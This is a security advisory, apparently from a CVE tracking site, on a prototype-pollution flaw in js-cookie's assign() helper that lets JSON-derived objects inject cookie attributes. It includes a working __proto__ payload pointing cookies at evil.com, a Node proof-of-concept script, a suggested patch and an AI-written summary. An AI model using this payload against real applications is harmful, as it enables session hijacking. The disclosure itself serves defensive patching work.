JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection
Description
Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an *own enumerable* property, so the for…in enumerates it and the target[key] = source[key] write triggers the **Object.prototype.__proto__ setter** on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker
A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None
Affected code
// src/assign.mjs — full file
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) { // includes own enumerable '__proto__'
target[key] = source[key] // [[Set]] form - fires __proto__ setter
}
}
return target
}
Proof of concept
Node 22.11.0, no third-party deps:
Environment setup
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie
PoC
ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
get cookie() { return ''; },
set cookie(v) { lastSetCookie = v; }
};
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse(
'{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);
Execution:
Suggested patch
--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
- for (var key in source) {
- target[key] = source[key]
- }
+ for (var key in source) {
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+ Object.defineProperty(target, key, {
+ value: source[key],
+ writable: true,
+ enumerable: true,
+ configurable: true,
+ })
+ }
}
return target
}
Equivalent one-liner alternative - iterate own names only and filter:
for (const key of Object.getOwnPropertyNames(source)) {
if (key === '__proto__') continue
target[key] = source[key]
}
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
js-cookie's assign() uses for...in which, when fed a JSON-parsed object, lets an attacker inject arbitrary cookie attributes via __proto__.
Root
Cause
The assign() helper in js-cookie copies properties using for...in combined with plain assignment (target[key] = source[key]). When the source object is created by JSON.parse, the JSON string's "__proto__" key becomes an *own enumerable* property on the resulting object. During the for...in loop, the engine enumerates this own property, and the assignment target[key] = source[key] triggers the Object.prototype.__proto__ setter on the fresh target object ({}). This results in a per-instance prototype hijack: the merged attributes object inherits attacker-controlled keys via its prototype, without modifying Object.prototype itself [1][2].
Exploitation
Any application that passes a JSON-derived object as the attributes argument to Cookies.set(), Cookies.remove(), Cookies.withAttributes(), or Cookies.withConverter() is vulnerable. A typical scenario is fetching cookie configuration from a backend endpoint that returns JSON, then using that configuration directly in a cookie call. An attacker who can control any portion of that JSON response (for example, via a compromised backend or a separate injection) can include a "__proto__" key with nested properties like {"domain":"evil.example","secure":"false","samesite":"None"}. The set() function later enumerates the merged attributes object with another for...in, so each attacker-controlled property from the polluted prototype becomes a cookie attribute in the Set-Cookie header [1][2].
Impact
An attacker can inject arbitrary cookie attributes such as domain, secure, samesite, expires, and path into cookies that the developer intended to have fixed, known values. This can lead to session hijacking or cookie exfiltration by, for example, setting domain to an attacker-controlled domain, or disabling secure and samesite protections. The vulnerability does not affect Cookies.get() or Cookies.getJSON() directly, as those functions do not use the dangerous assignment pattern [1][2].
Mitigation
The js-cookie maintainers have patched the vulnerability in version 3.0.6 by replacing the vulnerable assign() implementation with a property-by-property copy that explicitly skips __proto__, constructor, and prototype keys. Users should upgrade to version 3.0.6 or later. No workaround is available for prior versions; any use of JSON-derived attributes will be exploitable [1][2].
AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
2News mentions
0No linked articles in our index yet.